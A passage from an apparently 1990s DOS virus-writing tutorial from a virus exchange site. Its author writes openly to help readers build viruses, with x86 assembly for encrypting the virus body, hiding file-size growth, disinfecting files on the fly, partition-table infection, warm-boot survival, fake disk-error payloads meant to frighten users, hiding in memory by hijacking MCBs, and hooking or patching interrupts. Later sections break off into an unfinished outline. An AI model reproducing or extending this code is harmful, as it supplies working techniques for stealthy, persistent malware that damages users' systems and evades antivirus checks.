ROL ROR
ROR ROL
DEC INC
INC DEC
MUL DIV ; I don't recommend MUL or DIV though
DIV MUL
XOR XOR
NOT NOT ; this may be NEG on some assemblers

(Note! You CANNOT use the SHL or SHR functions because you lose any bits which fall off the end!)

Like solving an equation, each step must be performed in the opposite way it was first executed. Let's create a routine which will encrypt a number in AL...

  encryption:     dec al                  ; (fragment of code)
                  not al
                  rol al, 1
                  rol al, 1
                  xor al, 4ch

to decrypt this, we must, as in an equation, perform it in the opposite direction and using the opposite function. (refer to table above). To decrypt after encryption by the above routine:

  decryption:     xor al, 4ch
                  ror al, 1
                  ror al, 1
                  not al
                  inc al

But how would we implement this in a virus?

Simple. Allocate twice as much memory as you would if you didn't have encryption, so we will have room to encrypt our virus. Then, just before we go write the virus to the file, we copy our virus to the upper part of the allocated memory and run the encryption key over it. NOTE! You must be careful which parts of the virus you encrypt, otherwise it will hang! You must not encrypt the decryption algorithm, nor the entry point! (if the entry point is not the decryption routine)

So it would be like this:

          COM entry point:  (restore first 3 bytes of file)
          EXE entry point:  call decrypt
          Main body of virus (encrypted)
          [...]
          decrypt:        (decrypt body of virus)
                          ret

and your virus would run as per usual.

Easy!

(Note: the decryption key should be at the end for more reasons than are obvious. One reason is that when you come to creating your own self-mutating virus with a changing encryption algorithm, you can just slot it in at the end with no fear of it overwriting any code. You can then make your encryption key as long as is necesary.)

Stealth-Related

The aspiring virus writer, and indeed many experienced virus writers, look at viruses like 4096, Fish#6 and Whale and say "Holy Shit... I'll never be able to do that" after noting their size. But the reality is that if you have your head screwed on and are competent enough, you can write your own stealth routines (you'll have to, I'm not giving you any code).

My defintion of Quasi-Stealth is a virus's ability to hide the increase in file size of the files they have infected. I have done a few viruses which do this, the only one currently enjoying any success is X-Fungus; the others have not been (and will not be) released. I do not openly encourage using this method because there are only limited ways of marking files infected in the directory entry itself. If more than one virus uses the same technique and they meet each other, they will fuck up.

Full-blooded Stealth ability is the abillity to disinfect files on-the-fly, as they are opened. This way, you can defeat ANY sort of CRC checker, checksummer, signature scanner etc. because, quite simply, the virus won't be there! The code to employ this took me about 600 bytes, so it's not that much of a sacrifice to make.

Quasi-Stealth

The principles behind this ability are also very simple. To understand, first we must look at how DOS performs a DIR command.

The user types the DIR command. The command interpreter does its job of interpreting, and drives the kernel to do a number of tasks.

It goes in this pattern:

  1. find a file which matches filespec (fn 11h or 12h)
  2. interpret and display/skip the information:
    1. file size
    2. date (*)
    3. time (*)
  3. loop to 1 if there are more files

'*' denotes data which we use in quasi-stealth

It's not exactly like that, but it's good enough for our analysis.

There are various methods to developing a workable quasi-stealth routine.

  1. Adding 100 years to the date
  2. Putting a value more than 60 seconds into the time

Your Int 21h handler would have to look out for any of these conditions, and subtract the virus's length from the "file size" category accordingly.

Here is the routine I have used for my Quasi-Stealth viruses (I prefer the method of adding 100 years to the date. This is not noticeable on the directory listing).

(Note that for all routines, you must call function_call to execute the function so there's something there to check, hence the first line of code. You must also have a handler for the DTA change function, to keep track of where the DTA is. This is where DOS builds an FCB.)

  fcb_work:       call function_call
                  push ax
                  push cx
                  cmp al, 0
                  jne fcb_fnot_found
                  push si
                  push ds
                  mov si, word ptr cs:[dta_save]
                  mov ds, word ptr cs:[dta_save+2]
                  lodsb
                  cmp al, 0ffh
                  jne fcb_continue
                  add si, 7

  fcb_continue:   add si, 18h             ; trespassing on DOS reserved space!
                  lodsw
                  mov cx, 9
                  shr ax, cl              ; will clear all non-important bits
                  cmp ax, 100             ; (100 years)
                  jge fcb_fix
                  pop ds
                  pop si

  fcb_fnot_found: pop cx
                  pop ax
                  iret

  fcb_fix:        inc si
                  inc si
                  sub word ptr [si], v_len
                  pop ds
                  pop si
                  jmp fcb_fnot_found

The infection routine must be changed so that when the file is infected, it adds 100 years to the date before resetting it. The following code is added just after the old date & time stamps have been pulled back off the stack. The flag "already_inf" makes sure that if the file was already infected that another 100 years isn't added on (you must provide your own checking for infection).

  fix_date:       cmp byte ptr cs:[already_inf], 0
                  jne continue
                  add dh, 0c8h            ; add 100 years to DX (date)
  continue:       [...]


That's quite simple, agreed?

Disinfecting on-the-fly

This should not be attempted by the light-hearted. It requires a major overhaul of the viral structure. Becuase of this major overhaul, I will not include the exact code on how to do it - you'll have to work that out for yourself. However, I'll give you some pretty explicit details on how the thing should operate.

Note that this is only on way of doing it; no doubt there are several other ways of doing it, but all must follow this general pattern.

  i21h handler:   open?
                  jne i21_2
                  set up base (jmp, not call)
  i21_2:          extended open?
                  jne i21_3
                  push dx
                  mov dx, si
                  set up base     ; note! you must tailor your stealth for
                                  ; this call, since DX will be on stack!
  i21_3:          close?
                  jne i21_4
                  close base & reinfect
  i21_4:          [...]

These are the fundamentals of the stealth capability - when to disinfect. On all calls to open the file, add the name & handle to a "database" in free memory after the end of your virus. When it comes to close-time, simply scan your database for the handle and re-infect its corresponding file, and erase that entry from the database. How simple can it get? (See? It's a lot easier in theory than most people imagine!)

The problem enters here: how the fuck do I write a database in ASM?

Easy. First of all, you must figure out the format which the database will be in. I worked one out like this:

+0 byte availability flag (00 if in use, 0ffh if last entry)
+1 word file handle
+3 word relative offset of next entry
+5 x ASCIIZ path/filename of file
+y byte avail... [etc]

A word of caution: you must get the path of the file manually because the program may change directories, and then you'd be fucked.

OK, I'll be nice. I'll give you some code, how to create an entry in your database. (SI points to the last entry in your database. The file handle has been pushed onto the stack. DS:DX is filename.)

  add_base:       mov di, si
                  xor al, al
                  stosb                   ; clear availability flag
                  pop ax
                  stosw                   ; store file handle
                  xor ax, ax
                  stosw                   ; clear relative offset counter
                  dec si
                  dec si                  ; move SI to beginning of counter
                  mov bx, si              ; and put it in BX
                  mov si, dx              ; DS:SI now points to filename
  abloop1:        lodsb                   ; load byte from DS:SI
                  stosb                   ; store the byte to ES:DI
                  xchg si, bx
                  inc byte ptr cs:[si]    ; INC relative offset
                  xchg si, bx
                  or al, al
                  jnz abloop1
                  mov al, 0ffh            ; mark next entry as Empty
                  stosb

That's all that's involved in actually creating a new entry. You must make the effort to make the rest of the code. (This text file is to encourage new developments, not to give you something to copy straight from).

Now, back to this major overhaul bit. This is where the modularity of your programming comes into play. Small viruses are the results of well-structured and well-thought-out programming. You should know enough about programming to be able to modify your virus enough to accomodate Stealth.

You must be able to load up the original information, in its EXACT state, in order to be able to write it back to the original file. To do this you must edit your infection routine, so that it will save the information somewhere, preferrably at the end (or just before the decryption algorythm, if you have one running. This can be handy). You must be able to truncate your virus off the end of the file. Simple? (That's all there is to fixing up a file into its normal state).

OK. Now, you've read through that, and it comes to you: What if the thing's encrypted??

Never fear. Just before you truncate the virus off the end of the file, read it into memory above your code. Read the encryption algorythm from the end of the virus (you may not need to if you haven't implemented mutating self-encryption) and decrypt the virus. Then take out the bits which you saved, and write them as per usual.

Easy?

Multipartite

This is hard to implement if you work your routines yourself, instead of ripping someone else's off. I came up with the idea of how to do it a while back, but was unsure of the initial values of vectors and stuff upon bootup. So when I obtained a copy of Tequila, it simply confirmed my thoughts and I was able to put it into code.

As with most virus tricks, the principle is dead simple. Insert a piece of code into the partition table which will load up the virus into memory when you boot. At this point you can intercept interrupts 8 (timer), 9 (keyboard), 13h (disk services) and 1ch (user timer), or in fact, any other interrupt you wish EXCEPT THE DOS INTERRUPTS! (I have not bothered with figuring out how to infect Boot Sectors -- Partition table infection is enough for me. A similar thing happens here but you have to figure out where the last sector will be. This is dangerous because if the boot sector is infected with something else the right values won't be there and you'll fuck up the disk).

Upon bootup, the DOS ints are all IRETs and when DOS revectors them for itself, it will not call your code - ie. the initial values are never used again. The trick is to latch a piece of code onto i13h (disk services) which checks whether or not i21h has changed since the last disk call.

The reason this works is because DOS must be loaded off the hard disk. Once it has been, it will revector i21h to itself - then go and load up COMMAND.COM. When it goes to load up COMMAND.COM, i21's vector would have changed, and pow, you revector it to your virus.

Infecting the partition table is easy. IBM decided to do something useful for a change, and said that each of the 4 information blocks had to include the starting cylinder, end cylinder, sectors, and most of all, the Cylinder, Head and Sector # of the last sector. This bit is the most useful; simply load it up using a LES DI, CS:[SI+xxx] where DS:SI points to the beginning of the partition table and the xxx is the relative offset of the partition info entry.

Warm-boot survival

I am not absoltely sure on how this works (I am yet to implement it), but I'm fairly certain it works using, in part, a similar principle to partition table infection.

For this you must tap int 09h (BIOS keyboard) and wait for the faithful CTRL-ALT-DEL combination. This is easy. (as a side note: it is in instances such as this where you gain knowledge which can be used in other applications besides viruses. The environment of the virus ensures that your code is reasonably small and efficient... or at least I hope it is..!).

We must know a bit about the workings of the keyboard interrupt before we proceed. As you know, it's mapped as int 9h on the vector table, and it occupies IRQ1 (after int 8, which is IRQ0. This is not important). Every time a key is pressed or released, it will generate an interrupt.

In your interrupt handler, you must check to see if the DEL key has been pressed, and if so, check if CTRL and ALT are pressed. If it meets all these criteria, your routine to hide away and stay resident swings into action.

Your routine to hide away would be exactly the same as the way you reserve memory when going TSR from the partition table: taking x kilobytes off the total at 0:413h, loading that up into AX and SHL AX by 6 to get the destination segment. Write your virus to that area, reset a whole bunch of vectors, hook int 13h (also like the partition infection), and throw an int 19h.

By now you might have realized that many of these overlap -- why have warm boot survival, partition table infection, SYS infection as well as vanilla COM and EXE infection? Well, it looks good on the VIRLIST.TXT which McFuck bundles with SCAN when there's a whole row of 'x's next to your virus. It also looks nice on the VSUM summary when it says "PRhtAXK Parasitic Resident COM EXE SYS Partition Table COMMAND.COM infector". Aesthetic reasons....

(code comes later)

False Errors

This bit pales in comparison with all the previous tricks... this is just one to lighten up a little.

What better way to make a user pack shit when he/she/it sees the message "Seek Error accessing Drive C:"? or "Sector Not Found"? It's not a very nice thing to see when you're saving your 5000-page seasonal report on Ventura Publisher. It's just for a little fun.

We have to set up some sort of trigger device for this baby. You can set up a timer (from int 8 or whatever) and check if it's rolled over 30 minutes or so. But that would be a bit too obvious. How about every 30 minutes check if the timer's bit 4 is set? This would be a bit better. Anyway, choose which you think is most appropriate.

When it meets your selection and it triggers, simply return an error code on the next disk read/write operation. Make the error change every so often to keep the suckers guessing.

Here's a list of int 13's return codes for errors which you could use:

ffhSense operation failed (fixed disk)
cchWrite fault (fixed disk)
80hDrive not ready
40hSeek Error
20hController failure
04hSector Not Found
03hWrite Protect Error
02hAddress Mark Not Found

Note that the error must persist for at least 5 times, since DOS retries at least 3. If you have it only once, nine times out of ten DOS will continue and the end user won't shit himself. (You must keep a counter on the number of times it has been done. Once the predetermined threshhold has been reached, clear the error-induce flag and the counter).

The simple things in viruses are often the best...

TSR methods

It's obviously no good if you can program anything if you can't get the thing to stay in memory! There are many, many methods of remaining in memory after execution, some being better than others. Some are not used much at all. Some can be used only if the viruses are extremely small. I've seen some REAL whacky methods of going TSR, one of the strangest being MG-1 and MG-3 (written by the cunts who wrote the DIR-2 or Creeping Death virus...), but since they assume so much they don't work on all that many computers I'm afraid. Another wierd one is used by the FISH#6 virus. I only ever got to see it a few times, and I've never since been able to step through the thing far enough to see it again (I don't know why. I guess I'll have to try again with soft-ice instead of Debug!). Enough shit, down to business.

One of the things people think will be the hardest before they write a virus is they think there's no way to work out offsets of data tables and instructions and stuff. This is shit! Once you situate your virus on a paragraph boundary, you can treat that paragraph boundary as if it were the PSP segment. Then you can program it as normal, using all offsets as if you were writing a normal program. The only bit you have to allow for differing memory positions is the TSR process and restoring control to the host program (both are usually found at the beginning of the virus anyway).

Vector Table

I've only ever seen one virus do this - and that is of course MG-1, written by the guys who wrote Creeping Death (as I said before). It is inherently dangerous because you don't know if some other stupid program is going to revector one of the high interrupts for its own use. The virus has to be very small (500 bytes maximum, which MG-1 fills up completely) otherwise you'll write over the BIOS data area. This one is not a good idea so I won't go into code examples. The only advantage to this method is that you have a definite, fixed adress to work from, but it's not really much of an advantage.

Low Memory Hole

This isn't a great idea either, but it involves finding a small hole in the lower reaches of memory, among the device driver tables and other castaway initialization areas. The problem with this (unless you find an exceptionally large hole) is that you don't have a fixed reference point. If you find this exceptionally large hole, though, you can round it off to a paragraph boundary and you can use that. Big holes are not common and you'd have to code extremely tightly with no bells or whistles for it to fit in. This was the first method I ever used to go TSR and believe me, it's not fantastic. The code for other methods is smaller anyway. The only advantage is that you don't decrease available memory.

(I'm writing this off the top of my head.. if I make a mistake, blow my brains out and call me The NSH Babe)

  find_hole:      mov ax, 40h
                  mov es, ax              ; point ES to BIOS/DOS data area
                  xor al, al
                  mov cx, -1              ; 65535
                  xor di, di
                  cld
  fh1:            cmp cx, 1000
                  jb not_a_hole
                  repne scasb             ; repeat scan while ES:DI<>AL
                  push cx
                  mov cx, v_len+15        ; length of virus (allow for
                                          ; paragraph boundary adjust)
                  repe scasb              ; repeat scan while ES:DI=AL
                  pop bx
                  mov dx, bx
                  sub dx, cx
                  cmp dx, v_len+15
                  mov cx, bx
                  jb fh1
                  mov ax, di
                  mov bx, 10h
                  xor dx, dx
                  div bx
                  inc ax                  ; paragraph boundary
                  sub ax, 10h
                  mov es, ax
                  mov di, 100h            ; points to your brand new hole
                  mov si, start of virus
                  mov cx, v_len
                  rep movsb

                  [...]
  not_a_hole:     restore and exit

As I said, there are most likely serious bugs in the above code, so see if you can fix it for your own use...

Viruses which use this technique:

None (I just made it up, but there are some which use SIMILAR methods, the difference being that they don't round off to the paragraph boundary, which would have made things so much easier for them!)

Normal Memory Block

I hate this method almost as much. Not only is it dead obvious, it is noticeable when the virus first becomes resident.

This method is widely employed, however. I don't want you to do this, but I'll tell you anyway because I don't want you all to rush out and use my method...

As you know, files are loaded starting at the PSP segment. DS and ES point to this segment. Regardless of what segment you are in (ie. in an EXE file) you can write your virus to there.

Before we start, we must get some sort of reference point. This differs from the relative offset in that it is the actual point which it points to (this is hard to explain)... ie you can't use it to reference another byte, it just points to the beginning of your virus. Now.. In this form, it must come FIRST in the entire virus. If it isn't, you must make alterations.

		call $+3
		pop si
		sub si, 3

This brings SI to point to the CALL instruction. You adjust the SUB operand to bring it to the right point if this isn't first.

The structure of this call is slightly different to the 'normal' virus. Firstly you must check to see if the virus is already loaded or not. If not, write the virus to PSP:100h with the code:

          (SI points to the start, as derived from the above code)
          push cs
          pop ds
          mov di, 0100h
          mov cx, v_len           ; length of virus
          rep movsb
          push ds
          mov ax, offset next_bit
          push ax
          retf
  next_bit:       [etc]

You can then revector your int 21h. Now comes the "tricky" part. You must size down your memory block and RE-EXECUTE the host program. (Extract the name out of the environment string at PSP-0a:0).

The tricky bit? When the host program is re-run the virus in it will think it is already resident and pass control to the host as per usual. (Here's the tricky bit). When it terminates, it will pass control back to your virus -- the instruction after the exec function call -- whence you proceed to make the normal TSR call through DOS.

Lame, isn't it?

Viruses which use this technique:

Himem: above TOM

(TOM stands for Top Of Memory if you didn't know)

There are plenty of places in the high memory region for viruses to find a cosy hidey-hole, but most are not very safe. They exist in video memory, shadow RAM areas and so forth. Programs such as QEMM utilize such holes to load drivers and shit, but what's the point of devoting 1k of code to find a failsafe hole when you can hide somewhere else for less?

Hiding in video ram is utterly stupid, but nevertheless some programmers insist on loading them there. Hmm, maybe they could hook int 10h (video) to intercept any calls to change modes and move themselves accordingly............... hmm that's actually not a bad idea. But where to move to? Why not stay somewhere else and save the bother?

Also, remember that the majority of PCs in the world are (still) shitbox XT's -- they don't have RAM in areas which aren't used, unlike 286/386 machines and above. You might as well try scratching your name into a diamond with a steel file.

Don't bother with this method unless you're adventurous or stupid.

Viruses which use this technique: MG-3

But it is a different story for boot sector viruses - this is the only way to do it. There are no MCBs or DOS calls when you turn on your machine. So how?

When you make TOM not the real TOM. By decreasing the amount of RAM the computer THINKS it has, you can safely use the memory you've "chopped off" as your own.

This is easier than it sounds. To do this, it's just a matter of SUBbing or DECing an address in BIOS data area.

                  xor ax, ax
                  mov ds, ax
                  mov si, 413h
                  dec word ptr [si]
                  dec word ptr [si]               ; take 2k
                  lodsw
                  mov cl, 6
                  shl ax, cl

Pop, there's your segment.

Viruses which use this technique:

Himem: below TOM

This is my preferred means of going TSR. Naturally, I think most other methods are shit, but it's just a point of view. (you also can't see mysterious memory blocks using some of these methods.)

Many viruses use this also. I will discuss most of the methods available to use.

Reserving Memory at Himem

There are some lame viruses which write themselves to high memory and don't bother about reserving memory so they won't be overwritten! This is stupid because on certain DOS versions, if the transient portion is overwritten it will reload itself, overwriting the virus and hanging the system. On other occasions, data will be loaded up over the top (perhaps loading up something like this text file in QEdit would do such a thing). One thing is for certain, you're better off hiding even in Video RAM than in high mem without reserving memory. Anyway, here are some methods of reserving that real estate.

Shortening last block using DOS calls

Some very things are very obvious when using debuggers. One of those things is making DOS calls to modify memory blocks. Any novice can spot a series of instructions...

	Free Allocated Memory
	Allocate Memory (ffffh)
	Allocate Memory (7e09h)
	Allocate Memory (074h)
	Get Int 21h... [etc]

...and take them as something fishy going on. Cracker Jack likes this method, and it's very easy. I'll give you the code... (again off the top of my head. Sue me if I make a mistake)

  go_TSR:         mov ah, 49h             ; release block at ES
                  int 21h
                  mov ah, 48h
                  mov bx, 0ffffh          ; all of memory (induces error,
                  int 21h                 ; memory available in BX)
                  sub bx, v_len/16+2      ; v_len into paragraphs
                  mov ah, 48h
                  int 21h                 ; allocate just short of TOM
                  mov bx, v_len/16+1
                  mov ah, 48h
                  int 21h                 ; and up to TOM
                  sub ax, 10h
                  mov es, ax
                  mov di, 100h
                  (SI points to virus start)
                  mov cx, v_len
                  rep movsb

Faking ownership

The above manoever (or however you spell it) is good -- up to a point. But when you restore control to the host, and it exits, you lose the memory! So how do I get it back, or not lose it in the first place?!

Easy. There are things called MCBs (Memory Control Blocks) which let MS-DOS easily control the memory available. Now, with us being the unscrupulous bastards we are, we simply change the ownership of the block to some other stupid program.

But firstly, the layout of the MCB chains...

00 'M' or 'Z' (Middle or End block)
01 Segment of owner (must be correct or will be lost)
03 Size in paragraphs/relative offset to next MCB
05 other crap which doesn't concern us

This mysterious MCB block is ALWAYS situated at the segment PSP-1 or whatever. The value returned in AX by fn 48h (Allocate Memory) is the memory you can actually use -- to lay bare the MCB to get our greasy hands onto, simply DEC AX and move it into a segment register to reference it.

Great. We know WHAT an MCB is -- how do we dump ownership onto something else?

There is such a call as Get Internal Table Address. This internal table is a handy thing, and is not documented in many places at all. Fortunately I will tell you the most important thing we are interested at the moment -- it tells us the first MCB block!

To get the Internal Table Address, simply do this...

		mov ah, 52h
		int 21h

This will return the ITA as a pointer, in ES:BX. The value for the first MCB is at [-2], so to get:

		mov di, bx
		mov ax, es:[di-2]

I'm pretty sure you don't need the segment override but I thought I'd leave it in for good measure. Your assembler would be stupid if it left it in there...

But what about putting it all together? OK then here goes.

  go_TSR:         mov ah, 49h             ; release block at ES
                  int 21h
                  mov ah, 48h
                  mov bx, 0ffffh          ; all of memory (induces error,
                  int 21h                 ; memory available in BX)
                  sub bx, v_len/16+2      ; v_len into paragraphs
                  mov ah, 48h
                  int 21h                 ; allocate just short of TOM
                  mov bx, v_len/16+1
                  mov ah, 48h
                  int 21h                 ; and up to TOM
                  sub ax, 10h             ; could be 0f, don't know
                  mov es, ax
                  mov di, 100h
                  (SI points to virus start)
                  mov cx, v_len
                  rep movsb
                  push es
                  mov ah, 52h
                  int 21h
                  mov di, bx
                  mov ax, word ptr [di-2]
                  pop bx
                  add bx, 10h
                  dec bx             ; yeah change these two to SUB BX, 0f
                  mov es, bx
                  mov es:[1], ax          ; change ownership
                  mov ax, es
                  sub ax, 0fh
                  mov es, ax
                  mov ax, offset next_bit
                  push es
                  push ax
                  retf
  next_bit:       [...]

Then you can do whatever you were going to do...

Viruses which use this technique:

Shortening last block manually

This is my tried and true method. I developed it a while ago then found out that TP4xVIR all used it and so does Keypress. Cunts.

This involves some Kmart handywork on the MCB chain. It is really simple. It has the advantage of not showing up on debuggers which just trap interrupts, and DOS hasn't a clue where the fuck its memory has disappeared to -- therefore nothing can write over your code. I love this one. All my viruses use it (except if they become resident from the partition table or boot sector).

The basic idea is to find the MCB chain and follow it to the Z (end) block, then shortening the length by however many paragraphs you need. From this you work out the destination segment and off you go.

  find_MCB:       mov ax, es              ; ES is PSP or whatever
                  dec ax
  fmcb1:          mov es, ax
                  cmp byte ptr es:[0], 'M'
                  jne fmcb2
                  add ax, word ptr es:[3]
                  jmp fmcb1
  fmcb2:          sub word ptr [3], s_len         ; # paragraphs to shorten by
                  add ax, word ptr [3]
                  sub ax, 10h
                  mov es, ax
                  push cs
                  pop ds
                  mov di, 100h
                  mov cx, v_len
                  rep movsb
                  [etc]

Nice and short isn't it! (I wish I made it this good in my actual virus. Check out how I did it in NF30, it's not quite this good. Maybe I fucked this one up. I'll check that some time later).

Viruses which use this technique:

Hooking interrupts

Nothing works unless it's pulled together by interrupt handlers. But even an interrupt handler doesn't work if it doesn't get called! (duhh) All viruses hook interrupts in one way or another. Maybe they don't actually hook them, but modify DOS or whatever so they are called. Anyway here's the idea.

Direct vs. Dos Call

Now you might think you're cool by getting your virus TSR, hooking interrupts and restoring control properly without making a single DOS call. That in itself it okay. BUT -- and it's a big but -- you can't infect COMMAND.COM if you do this! This is a major setback, because if you can't, there's much less likelihood of all files in the AUTOEXEC.BAT becoming infected or the DOS shell programs, etc. If you can get them resident as early as possible, it is a good start -- and COMMAND.COM is a good a place as any.

Of course this only applies to int 21h (DOS calls) and other DOS interrupts. All other interrupts can be revectored any way you want.

To revector a vector directly, you follow something like this:

                  xor ax, ax
                  mov ds, ax
                  mov di, offset save_int_xx      ; int xx
                  mov si, xx*4
                  movsw
                  movsw                           ; save it
                  sub si, 4
                  mov ax, offset ixx_handler
                  mov word ptr [si], ax
                  mov word ptr [si+2], cs
                  [and any other int revectors here]
                  push cs
                  pop ds

Remember learning all about Intel's reverse ordering? In the vector table, as in all other places, the most important bits go first -- in this case, the actual pointer, then the segment.

You might think that MOV AX, XX then MOV [SI], AX could be converted to a smaller statement as MOV [SI], XX. They end up being the same anyway. But if you were using another register besides AX, it would actually be bigger -- some operations are smaller when they use the AX register. Don't blame me, blame Intel.

Revectoring using DOS calls is much more conspicuous to the int trapping debugger, but it's a small price to pay. If they're losers they won't know how to stop it, then the damage is done and they have the virus. (The code is also much simpler).

                  mov ax, 35xxh           ; get int
                  int 21h
                  mov [save_int_xx], bx
                  mov [save_int_xx+2], es
                  mov dx, offset ixx_handler
                  mov ax, 25xxh           ; set int
                  int 21h
                  [and any other int revectors here]
                  push cs
                  pop es

Modifying Code

This is getting a bit more tricky. The idea here is instead of revectoring the interrupt on the vector table, simply edit the code pointed to by the vector to jump to your own code. Sounds simple?

It is, but there are sometimes problems. For instance, what if the code isn't for 5 contiguous bytes? (you need 5: 1 for the JMPF, 4 for the address). You would overwrite some other code, most likely code for the next interrupt it handles. Not good. Maybe you should check for things such as IRETs, RETFs, JMPs etc. in the first 5 bytes. After 5, who gives a shit.

Upon entry to your interrupt handler, you must restore the original 5 bytes so we can call DOS. This is where we must think a bit more carefully. If we restore the original 5, we must somehow change them again to call our code. Simple...

Upon entry to our interrupt handler, we must restore the original 5. If it's not a call we're interested in, go to a routine which consists of the following:

                  pushf
                  call dword ptr cs:[save_int_xx]
                  call fix_int            ; change code again to JMPF
                  retf 2

What is RETF 2? Well, most of you probably know that you can accompany a RET or a RETF with an optional operand -- the equivalent of the instruction and the ADD SP, xx. eg. RETF 2 it the equivalent of RETF/ADD SP, 02. This way we return to the caller with the flags which are current and not those that were current at the actual call. (get my drift?)

You don't? OK then. When an int is called, it's the same as doing the equivalent of...

                  pushf
                  push cs
                  push ip
                  jmp dword ptr 0:int*4

                  ...and the IRET is the equivalent of...
                  pop ip
                  pop cs
                  popf

...so therefore the flags which were current when the INT call was made will be there when it returns. Interrupt handlers set things like CF by getting the old flags and setting it, then "patching" them back onto the stack, with the code...

                  push bp
                  mov bp, sp
                  push [bp+6]
                  popf
                  stc
                  pushf
                  pop ax
                  mov [bp+6], ax
                  pop bp

So back to where we were. We're in our interrupt handler, we've just called the old vector. Our updated flags are current, but if we IRET we'll lose them. So, going back to the RETF 2 -- instead of restoring the old flags (as in the IRET instruction) we'll just be doing...

		pop ip
		pop cs
		add sp, 02

Got it?

(I didn't intend on going on a stack lesson, but anyway...)

Anyway, here's your layout:

  ixx_handler:    push xx
                  push [..etc]
                  push cs
                  pop ds
                  les di, [save_int_xx]   ; load up vector to ES:DI
                  mov si, offset old_5_xx
                  movsw
                  movsw
                  movsb                   ; restore 5 bytes

                  cmp ah, wanted calls
                  jne not_wanted

                  [...]

  not_wanted:     pop xx
                  pop [..etc]
                  pushf
                  call dword ptr cs:[save_int_xx]
  fix_int:        push es
                  push di
                  push ax
                  les di, cs:[save_int_xx]
                  mov al, 0eah            ; JMPF xxxx:yyyy
                  stosb
                  mov ax, offset ixx_handler
                  stosw
                  mov ax, cs
                  stosw
                  pop ax
                  pop di
                  pop es
                  retf 2

Viruses which use this technique:

None (this will change in the near future)

Modifying DOS

Some smart-arse pricks know that they can modify certain bits within DOS itself so that their routines will be called. They guy who wrote the Fish and Whale viruses knows. The guys who wrote MG-1, 2, 3 and Creeping Death know. Dark Avenger knows.

In my opinion it's not always the most intelligent thing to do, considering DOS stuff is likely to keep changing. But if you find the right bits and know what to look for, you have a virtually failsafe way.

I can't tell you because I don't know!

If you're super desperate and need to know, post something to the Matematicheska Gimnazia school (in Bulgaria) and ask for the guys who wrote Creeping Death to send you their commented source codes... (ever seen the Creeping Death source? Shot out their fingers like a machine gun... the guys don't look too talkative with commenting like that).

If not, grab the MG-1 virus or the Fish#6 virus and wade through that with a decent debugger. Dark Avenger seems to know as well, and he just loves those multiplex interrupts which nobody seems to know about <sigh>.

If anyone DOES know, could they please drop me a line in CelerityNet Private Netmail some time? (no abuse please!)

Interrupt handlers

We're approaching the arse-end of the text file. You're all high and dandy waiting to rip into your new TSR COM and EXE infector. But shit, you have no idea of how to string the whole lot together, do you!?

Here's a bunch of codes and bullshit as long as John Holmes' dick about them, how to write them and stuff. I'm fucking tired.

Timer interrupts

Earlier I crapped on about timing, waiting after 30 minutes, pausing for a few seconds after prank messages and stuff. How the fuck do you do it?

08 vs 1c

There's two timer interrupts. The main heartbeat of the computer (interrupt 08, IRQ0) which can't be interrupted by any other interrupt (except NMI), and the other one (interrupt 1ch, no IRQ). Interrupt 1ch is called FROM int 08. So you would naturally go for int 8?

This is not always such a good idea. If the main timer gets too loaded down, it might interrupt itself and the computer will hang. It's OK if you've just got a little timer hooked on, but if you have massive checks and double checks and checks for the number of NOPs in the average compiled basic program, then you've got no hope of tacking it on to interrupt 8.

Keeping time

Simple as tripping over a tab of LSD. (ahhh comedian)...

		inc byte ptr cs:[timer]
		jmp dword ptr cs:[save_int_08]

The timer ticks 18.2 times per second -- once every 55.xxx milliseconds. Therefore, for a pause of 1 second, you reset the timer byte and wait until it exceeds 18! Wow! Isn't that hard to understand?!

So for a 30 minute delay, we wait until the counter exceeds...

	18 times/second
	* 60 seconds/minute
	* 30 minutes

some number I can't figure out in my head

Triggering events

You don't just sit there in an endless loop waiting for 30 minutes. Every time your interrupt routine is called, check to see if the counter has exceeded that number (18*60*30), and if so, go do the particular event and reset the timer.

Keyboard interrupt

The keyboard interrupt (int 09) sits on IRQ1, the second highest IRQ (which means it can only be interrupted by IRQ0, the system timer). An interrupt is generated on line 1 every time a key is pressed or released.

Each key has its own scan code.

Ctrl-Alt-Del detection

The only one we're really interested in.

AWWWWWWWWWWWWWWW NNNOOOOOOOOOOOOOOOOO!!!!!!!!

8.3 DOS Interrupts
8.31 File Open (handle)
8.32 File Rename (handle)
8.33 Attribute Change
8.34 Execution
8.35 Extended Open (handle) (DOS 5+)
8.4 Quasi-Stealth operations
8.41 Find First, Find Next (FCB)
8.42 Find First, Find Next (handle)
8.5 Stealth operations
8.51 File Open
8.52 Restoring original code
8.53 Truncating the file
8.54 File Close

Epilogue

I hope this makes a huge contribution to the virus community as a whole. With that said I can now apologize for massive mood swings during the text file, but right now I'm fucked and I wanna go to bed.

One last greet:

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua